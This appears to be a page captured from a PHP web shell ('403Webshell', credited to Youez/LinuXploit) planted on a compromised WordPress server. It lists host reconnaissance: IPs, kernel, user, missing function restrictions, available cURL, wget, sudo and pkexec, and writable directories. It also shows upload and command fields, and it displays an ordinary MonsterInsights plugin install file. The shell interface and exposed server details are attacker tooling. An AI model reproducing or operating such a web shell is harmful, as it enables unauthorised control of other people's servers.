403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /ourscripts/oldmandy/wp-content/google-analytics-for-wordpress/lite/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /ourscripts/oldmandy/wp-content/google-analytics-for-wordpress/lite/includes/install.php
<?php
/**
 * MonsterInsights Lite Installation and Automatic Upgrades.
 *
 * This file handles special Lite install & upgrade routines.
 *
 * @package MonsterInsights
 * @subpackage Install/Upgrade
 * @since 6.0.0
 */

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) { 
	exit;
}

// @todo: Add defaults for new installs
//do_action( 'monsterinsights_after_new_install_routine', $version );

// do_action( 'monsterinsights_after_existing_upgrade_routine', $version );

// Add default 
//do_action( 'monsterinsights_after_install_routine', $version );

function monsterinsights_lite_upgrade_from_yoast( $key, $network ) {
	if ( $network ) {
		$option                = array();
		$option['key']         = $key;
		$option['type']        = '';
		$option['is_expired']  = false;
		$option['is_disabled'] = false;
		$option['is_invalid']  = false;
		update_site_option( 'monsterinsights_license', $option );
	} else {
		$option                = array();
		$option['key']         = $key;
		$option['type']        = '';
		$option['is_expired']  = false;
		$option['is_disabled'] = false;
		$option['is_invalid']  = false;
		update_option( 'monsterinsights_license', $option );        
	}
}
add_action( 'monsterinsights_upgrade_from_yoast', 'monsterinsights_lite_upgrade_from_yoast', 10, 2 );

Youez - 2016 - github.com/yon3zu
LinuXploit